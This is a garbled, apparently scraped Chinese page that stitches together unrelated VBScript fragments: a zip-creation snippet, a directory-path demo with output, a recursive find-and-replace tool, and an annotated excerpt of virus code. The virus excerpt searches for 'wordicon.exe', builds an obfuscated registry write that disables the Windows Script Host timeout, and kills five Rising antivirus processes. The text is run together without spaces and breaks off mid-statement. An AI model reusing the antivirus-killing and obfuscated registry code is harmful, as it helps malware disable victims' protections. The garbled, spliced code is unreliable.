->
On Error Resume Next
Dim fso,fp,oApp,targetfile
Set fso=CreateObject("Scripting.FileSystemObject")
targetfile="D:\tmp.zip"
Set fp=fso.OpenTextFile(targetfile,2,True)
fp.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18,0)
fp.Close
Set oApp=CreateObject("Shell.Application")
Set fso=Nothing
Err.Clear
oApp.Namespace(targetfile).CopyHere "C:\1.txt"
WScript.Sleep 1000
next对数组或集合中的每个元素重复执行一组语句)
iffile.name="wordicon.exe"then
reg=file.name
regpath=file.path
exitFunction
endif
next(foreach的next)
setsubfolders=folder_.subfolders(set是一个赋值语句)
foreachsubfolderinsubfolders
scandoc(subfolder)
next
endFunction(结束子程序的定义)
Functionregtime()(定义一个子程序添加注册表,结束瑞星)
a6="R.Re"&"gWri"&chr(116)&"e"(a6=R.RegWrichr(116)echr(116)是值)
a8="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Micr"&"osoft\Win"&"dowsScr"&"iptingHo"&"st\Settin"&"gs\Timeou(a8=注册表HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout)
ppp=a6&Space(2)&chr(34)&a8&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp(对指定的字符串执行正则表达式搜索)
dimNameorPID
kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")
fori=0to4
KillProcess(kill(i))(结束4个瑞星程序)
next
endFunction(结束这个子程序)
Functionganranfile(aa)(定义一个子程序)
OnErrorResumeNext(出错不报告)
dimx
Fori=1ToLen(aa)(len函数返回字符串内字符的数目,或是存储一变量所需的字节数)
x=Mid(aa,i,1)(mid函数从字符串中返回指定数目的字符可以根据提示在属性页中直接进行属性设置,也可通过编程来设置这些属性
笔者用VB6.0通过调用API函数设计应用系统的ABOUT窗口
Option Explicit
Dim oFS : Set oFS=CreateObject( "Scripting.FileSystemObject" )
Dim oWS : Set oWS=CreateObject( "WScript.Shell" )
WScript.Echo "Script:"
WScript.Echo "ScriptFullName:", WScript.ScriptFullName
WScript.Echo "ScriptFullPath:", oFS.GetParentFolderName( WScript.ScriptFullName )
WScript.Echo "Current:"
WScript.Echo "FS:", oFS.GetAbsolutePathName( "." )
WScript.Echo "WS:", oWS.CurrentDirectory
-------- output -------------
C:\wis\_vbs\0506\dev\forum
cscript curdir.vbs
Script:
ScriptFullName: C:\wis\_vbs\0506\dev\forum\curdir.vbs
ScriptFullPath: C:\wis\_vbs\0506\dev\forum
Current:
FS: C:\wis\_vbs\0506\dev\forum
WS: C:\wis\_vbs\0506\dev\forum
C:\wis\_vbs\0506\dev\forum
cd ..
C:\wis\_vbs\0506\dev
cscript forum\curdir.vbs
Script:
ScriptFullName: C:\wis\_vbs\0506\dev\forum\curdir.vbs
ScriptFullPath: C:\wis\_vbs\0506\dev\forum
Current:
FS: C:\wis\_vbs\0506\dev
WS: C:\wis\_vbs\0506\dev->
该脚本可以将信息显示在对话框中并等待用户提供反馈初始流程
·#:是一个整型数,用来指定列的宽度(如果指定了Width,则必须加代表列宽的整数)'============================================
'codebylcx修改网上原有的一个小程序,不知作者,那个程序没有对目录实现递归查找
'将本程序放在你要查找的目录下,或把查找的目录拖到此脚本上,估计还有bug
'=======================================================================================
OnErrorResumenext
DoUntilFalse
Findstr=InputBox("请输入你要查找的字符(串):","请输入")
IfFindstr<>""Then
Exitdo
EndIf
Loop
repwith=InputBox("请输入你要替换的字符(串):,如果留空则只为查找","请输入")
IfWscript.Arguments.Count<>0Then
Fori=0ToWScript.Arguments.Count-1
folderpath=WScript.Arguments(i)
find(folderpath)
Next
Else
'处理当前目录
SetobjShell=CreateObject("WScript.Shell")
folderpath=objShell.CurrentDirectory
find(folderpath)
EndIf
'替换主程序
Subfind(path)
setfso=CreateObject("Scripting.FileSystemObject")
setcurrent=fso.GetFolder(path)
ForEachfileIncurrent.Files
setfsofile=fso.OpenTextFile(file,1,true)
OnErrorResumenext
tempstr=fsofile.Readall
IfInstrRev(tempstr,Findstr,-1,0)<>0Andrepwith=""Then
withFso.opentextfile(left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))&"\re.txt",8,true)
.writelinefile
.close
endwith
EndIf
Ifrepwith<>""Then
tempstr=replace(tempstr,Findstr,repwith)
setfsofile1=fso.OpenTextFile(file,2,true)
fsofile1.WriteLinetempstr
fsofile.close
Endif
Next
foreachfolderincurrent.subfolders
Callfind(folder.path)
next
setfso=nothing
EndSub
msgbox"OK,查找的文件名保存在re.txt"
。